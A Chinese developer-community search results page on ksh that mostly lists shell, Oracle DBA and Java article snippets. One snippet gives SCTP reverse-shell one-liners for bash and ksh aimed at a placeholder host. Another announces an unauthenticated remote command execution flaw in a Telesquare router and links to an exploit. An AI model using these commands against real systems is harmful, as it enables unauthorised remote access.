首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏全栈程序员必看

    ksh简介「建议收藏」

    什么是 ksh ksh 的全称是 Korn shell,是一个 Linux/Unix shell,用来访问 Linux/Unix 系统。 ksh 能够用来干什么? ksh 提供了许多强大的功能方便我们编写脚本管理 Linux/Unix 系统。 ksh 的运行环境 几乎所有的 Linux/Unix 系统都安装了 ksh,如果没有,运行下面的命令安装。 [plain] view plain copy sudo yum install ksh 开发 ksh 的工具 任何一款文本编辑器或 Eclipse, 有专门编辑 shell 的插件。 /bin/ksh print “Hello World.”; 第一行代码称为沙邦(sh-bang),表示由什么程序运行此脚本。 第二行的 print 是一个命令,用来打印输出。

    1.8K20编辑于 2022-09-20
  • 来自专栏运维开发王义杰

    linux shell: Ksh、Csh与Bash的探索之旅

    Korn Shell(ksh) Korn Shell(ksh)是由David Korn在AT&T Bell Laboratories开发的一种Shell语言,旨在兼顾C Shell(csh)的脚本功能和 它旨在兼容Bourne Shell(sh),同时加入了ksh和csh的许多优点。bash是大多数Linux发行版默认的Shell。 它们之间的区别 虽然ksh、csh和bash都是功能强大的Shell,它们在设计哲学、语法和特性方面存在着显著的差异。 以下是一些主要区别: 设计哲学:csh的设计更偏向于程序设计,其语法模仿了C语言;而ksh和bash更注重于交互式使用和脚本编程的平衡。 脚本编程:虽然三者都支持脚本编程,但bash和ksh提供的编程特性更加丰富,更容易编写复杂的脚本。

    1.3K20编辑于 2024-03-18
  • 来自专栏信安百科

    CVE-2024-29269|Telesquare TLR-2005KSH路由器未授权远程命令执行漏洞(EXP)

    0x00 前言 Telesquare TLR-2005KSH是韩国Telesquare公司的一款SK电讯Lte路由器。 0x01 漏洞描述 Telesquare TLR-2005Ksh存在未经授权的远程命令执行漏洞。 攻击者可以利用此漏洞在未经身份验证的情况下使用cmd参数执行系统命令,并获取服务器权限。 0x02 CVE编号 CVE-2024-29269 0x03 影响版本 Telesquare TLR-2005Ksh 1.0.0、1.1.4版本 0x04 漏洞详情 Exp: https://gist.github.com

    86610编辑于 2024-04-15
  • 来自专栏杨建荣的学习笔记

    批量转换分区表为普通表(r2笔记92天)

    ksh chg_partition.sh MENT_RESOURCE CONV_TEST ksh chg_partition.sh ES_HISTORY CONV_TEST ksh chg_partition.sh GED_TRIAL_BALANCE CONV_TEST ksh chg_partition.sh HARGES CONV_TEST ksh chg_partition.sh HARGE_GROUP CONV_TEST ksh chg_partition.sh REDIT_DEBIT_LINK CONV_TEST ksh chg_partition.sh USTOMER_CREDIT CONV_TEST ksh chg_partition.sh NVOICE CONV_TEST ksh chg_partition.sh AYMENT CONV_TEST ksh chg_partition.sh

    80450发布于 2018-03-14
  • 来自专栏杨建荣的学习笔记

    通过shell来比较oracle和java中的字符串使用(r4笔记第49天)

    [ora11g@rac1 ~]$ ksh test1.sh 'new String("abcd").charAt(2)' c [ora11g@rac1 ~]$ ksh test2.sh "substr( [ora11g@rac1 ~]$ ksh test1.sh 'new String("abcd").length()' 4 [ora11g@rac1 ~]$ ksh test2.sh "length(' 注意下标的不同 ksh test1.sh 'new String("abcdc").indexOf("c")' 2 [ora11g@rac1 ~]$ ksh test2.sh "instr('abcdc [ora11g@rac1 ~]$ ksh test1.sh 'new String("abcd").replace("c","g")' abgd [ora11g@rac1 ~]$ ksh test2.sh [ora11g@rac1 ~]$ ksh test1.sh 'new String("abcd").startsWith("a")' true [ora11g@rac1 ~]$ ksh test1.sh

    2.1K50发布于 2018-03-15
  • 来自专栏杨建荣的学习笔记

    物化视图全量刷新与insert的redo生成量测试(69天)

    $ ksh test.sh "exec dbms_mview.refresh('MV_TEST','C'); " start to gather redo size ... $ ksh test.sh "truncate table mv_test;" start to gather redo size ... . $ ksh test.sh "exec dbms_mview.refresh('MV_TEST','C');" start to gather redo size ... $ ksh test.sh "exec dbms_mview.refresh('MV_TEST','C');" start to gather redo size ... $ ksh test.sh "truncate table insert_test;" start to gather redo size ...

    1K110发布于 2018-03-14
  • 来自专栏杨建荣的学习笔记

    crontab导致的频繁发送邮件的问题(r5笔记第20天)

    ######################################## 52 6,9,12,15,18,21 * * * /oravl01/orainst/XXXXX/FileSystem.ksh ### TABLESPACE ALERT - FOR ALL ###################################### 52 6,9,12,15,18,21 * * * /bin/ksh "/oravl01/orainst/dba/ENV/free_tbs_alert.ksh XXXX" 简单再来回顾一下crontab的使用,crontab中含有6个参数,分别代表分,小时,天,周,月 /oravl01/orainst/XXXX/FileSystem.ksh' ### TRAINING ENVIRONMENT- DB SERVER TABLE SPACE ALERT REPORT ### 00 6,9,12,15,18,21 * * * ssh orainst@XXXX '/bin/ksh /oravl01/orainst/dba/ENV/free_tbs_alert.ksh XXXXX

    91640发布于 2018-03-15
  • 来自专栏杨建荣的学习笔记

    半自动化运维之动态添加数据文件(二) (r5笔记第56天)

    '/oravl03/oradata/XXXX/pool_data_47.dbf' size 2000000k; > ksh add_dbf.sh pool_data alter tablespace alter tablespace pool_data add datafile '/oravl07/oradata/XXXX/pool_data_47.dbf' size 2000000k; >ksh -s df_k_chk_tmp.ksh ] then echo 'WARNING! there is someting wrong with TS name,please check again' ksh df_k_chk_tmp.ksh exit fi function get_random there is no enough space to add datafiles,file size needed:' ${new_file_size}k ksh df_k_chk_tmp.ksh

    77960发布于 2018-03-16
  • 来自专栏赛博回忆录

    探索新大陆:基于冷门协议sctp反弹shell

    ksh却默认支持! 这意味着我们可以在ksh的shell里使用类似bash中/dev/tcp/host/port的形式使用sctp进行反弹!那什么服务器会使用ksh作为默认安装的shell呢? 至少几个主流版本都不是,但是ibm的AIX默认是ksh! 我这里临时没有AIX的环境,我直接在虚拟机里安装了ksh。 经过实际测试,只要安装了ksh的系统默认就支持sctp,不需要再开启其他的东西 sudo apt-get install ksh 参考了一下ksh reverse shell ( https://gtfobins.github.io /gtfobins/ksh/ ) 我们给出ksh下的反弹shell的命令 /bin/bash -i > /dev/sctp/host/port 2>&1 0>&1 //弹bash /bin/ksh - i > /dev/sctp/host/port 2>&1 0>&1 //弹ksh 客户端的反弹命令有了,那么服务端呢?

    69920编辑于 2023-07-24
  • 来自专栏运维小白

    8.1 shell介绍

    是一个命令解释器,提供用户和机器之间的交互 支持特定语法,比如逻辑判断、循环 每个用户都可以有自己特定的shell CentOS7默认shell为bash (Bourne Agin Shell) 还有zsh、ksh 等——>用法和bash相似,但是细节还是有一定差异 查询zsh包——>yum list |grep zsh 查询ksh包——>yum list |grep ksh

    566100发布于 2018-02-06
  • 来自专栏杨建荣的学习笔记

    使用动态变量进行动态数据比较(r2笔记25天)

    min_par=$min_par else min_sum=$tmp_cur_sum min_par=$tmp_cur_par fi done echo $min_par 简单测试如下: >$ ksh min.sh 8 9 2 4 5 2 par3_sum 小数也是可以支持的 >$ ksh min.sh 88 99.5 1.1 10 55 1.1 par3_sum 9个数进行比较 $ ksh min.sh 4 5 6 3 2 9 2 1 2 1 par8_sum 2个数进行比较 $ ksh min.sh 2 5 2 par1_sum

    81270发布于 2018-03-14
  • 来自专栏杨建荣的学习笔记

    shell动态脚本和pl/sql动态脚本的比较

    /bin/ksh export ScriptName=`basename $0` export ScriptDir=`dirname $0` echo $ScriptName echo $ScriptDir else '\''N no_need_to_run_app_script'\'' end) from dual; ";print "EOS` " $i}}'> $ScriptDir/dynamic_tmp.ksh ksh $ScriptDir/dynamic_tmp.ksh |awk '{ if( $1 =="Y" ){ print "sqlplus -s " $3 " <<EOS";print "set echo on"; print $2; print "EOS"}}' >$ScriptDir/app_change_tmp.ksh ksh $ScriptDir/app_change_tmp.ksh rm $ScriptDir /dynamic_tmp.ksh echo 'app CHANGE ENDED....' rm $ScriptDir/app_change_tmp.ksh 生成的动态shell脚本1内容如下: echo

    1.6K60发布于 2018-03-13
  • 来自专栏杨建荣的学习笔记

    用shell脚本巧妙统计文件(r2笔记57天)

    [ora11g@rac1 DUMP]$ ksh a.sh TEST1 100 [ora11g@rac1 DUMP]$ ksh a.sh TEST2 450 [ora11g@rac1 DUMP]$ ksh a.sh TEST3 300 [ora11g@rac1 DUMP]$ ksh a.sh TEST4 150 [ora11g@rac1 DUMP]$ ll *.dmp|wc -l 1000 '{print $1}'|uniq|xargs -i echo "echo {} \`ls -lrt {}_EXT_[0-9]*.dmp|wc -l \`>> tablst" >test.sh ksh test.sh rm test.sh [ora11g@rac1 DUMP]$ ksh b.sh [ora11g@rac1 DUMP]$ cat tablst TEST1 100 TEST2

    63260发布于 2018-03-14
  • 来自专栏杨建荣的学习笔记

    sqlplus无法启动的问题及解决(2) (25天)

    parameters.ini _ORACLE_HOME="/oravl01/oracle/11.2.0.3"^M _ORACLE_SID="XXXX"^M _TISPERF_DB="XXXX/XXXX@XXXX"^M _KSH_PATH_OLD =/usr/bin/ksh^M _KSH_PATH=/bin/ksh^M 原来这哥们从solaris copy这个文件的时候还是经过了windows来中转,参数文件的名字也不是.sh .ksh之类的名字

    1.9K60发布于 2018-03-13
  • 来自专栏杨建荣的学习笔记

    海量数据迁移之一个误操作的问题总结(r3笔记第21天)

    281 nohup ksh tmp_split_par_6_appendata.sh > split_par_6_appendata.log & 282 nohup ksh tmp_split_par _7_appendata.sh > split_par_7_appendata.log & 283 ksh check.sh|grep process ... 295 ksh check.sh|grep process 296 nohup ksh tmp_split_par_7_appendata.sh > split_par_7_appendata.log & 297 ksh check.sh|grep process 298 ksh check.sh|grep process 找到问题的来源了,就可以确定问题的影响范围了,通过错误日志对数据进一步进行了检查

    92270发布于 2018-03-14
  • 来自专栏杨建荣的学习笔记

    关于SCN的总结测试 (68天)

    ksh showscn.sh >beginning_snshowscn.shot.lst0 sqlplus -s n1/n1 <<EOF alter system checkpoint; --全局 ,数据文件,数据文件头部scn都递增,保持一致 EOF ksh showscn.sh > checkpoint_snshowscn.shot.lst1 sqlplus -s n1/n1 <<EOF alter database datafile '/u03/ora11g/oradata/TEST01/pool_data02.dbf' resize 160M; -->只有数据库级scn递增 EOF ksh *from aaaa where rownum<10; commit; insert into aaaa select *from aaaa where rownum<10; commit; EOF ksh select *from aaaa where rownum<10; insert into aaaa select *from aaaa where rownum<10; rollback; EOF ksh

    74250发布于 2018-03-14
  • 来自专栏生信技能树

    shell界面颜值知多少

    **Shell 的种类 ** Bourne shell, sh Bourne Again Shell, bash Korn shell, ksh C shell, csh Z shell, zsh TC usr/bin/csh csh Bourne Again Shell /bin/bash bash Z shell /usr/local/bin/zsh zsh Korn Shell /usr/bin/ksh ksh tc Shell /usr/bin/tcsh tcsh shell的配置文件 sh,ksh: /etc/profile*, ~/.profile ksh: ~/.kshrc csh: ~/.login

    2.2K20发布于 2018-09-21
  • 来自专栏全栈程序员必看

    Java面向对象的三大特征以及理解

    父类: package cn.csu.ksh; public class Person { private int a=1;//父类私有成员变量 private int id; private //父类的私有方法 private void show() { System.out.println("person show..."); } } 子类: package cn.csu.ksh 接口 package cn.csu.ksh; public interface Animal { void shout(); } 实现类 package cn.csu.ksh; public class Animal{ @Override public void shout() { System.out.println("wangwang..."); } } 实现类 package cn.csu.ksh { @Override public void shout() { System.out.println("miaomiao..."); } } 测试: package cn.csu.ksh

    59540编辑于 2022-09-17
  • 来自专栏杨建荣的学习笔记

    crontab导致CPU异常的问题分析及处理(r3笔记第100天)

    8728 732 564 R 100.0 0.0 2021:19 /bin/sh -c /opt/app/oracle/xxxxxx/Script/DailyChk/chk_path_full.ksh -------------------------------- #0,30 * * * * /opt/app/oracle/xxxxxx/Script/DailyChk/chk_path_full.ksh 0,30 * * * * /opt/app/oracle/xxxxxx/Script/DailyChk/chk_path_full.ksh PRODB 2>&1 >/opt/app/oracle/Script 30 23 * * * /opt/app/oracle/xxxxxx/Script/DailyChk/chk_path_full.ksh PRODB 2>&1 >/opt/app/oracle/Script 8728 732 564 R 100.0 0.0 2021:19 /bin/sh -c /opt/app/oracle/xxxxxx/Script/DailyChk/chk_path_full.ksh

    1.3K70发布于 2018-03-15
  • 来自专栏程序员小助手

    问1得10:shell十进制转换到任意进制,多大事儿,一行搞定!

    ksh93 中你可以这么写: dec=85 base54=$(printf %..54 "$dec") 这个支持的基数更大,从2-64,支持的字符也就多了 0-9a-zA-Z@_。 在 ksh,zsh中,还能这么写: typeset -i34 x=123; echo "$x" 这个是把十进制数123转换为基数为34的值,结果输出 34#31。 有个事儿你得多注意,这些转换是有限制的,比如 ksh88, zsh and pdksh 基数支持到36,ksh93支持到64。 那么对于更大的数,怎么转换呢?这就需要用到 bc / dc 程序。

    2.3K20发布于 2020-05-04
领券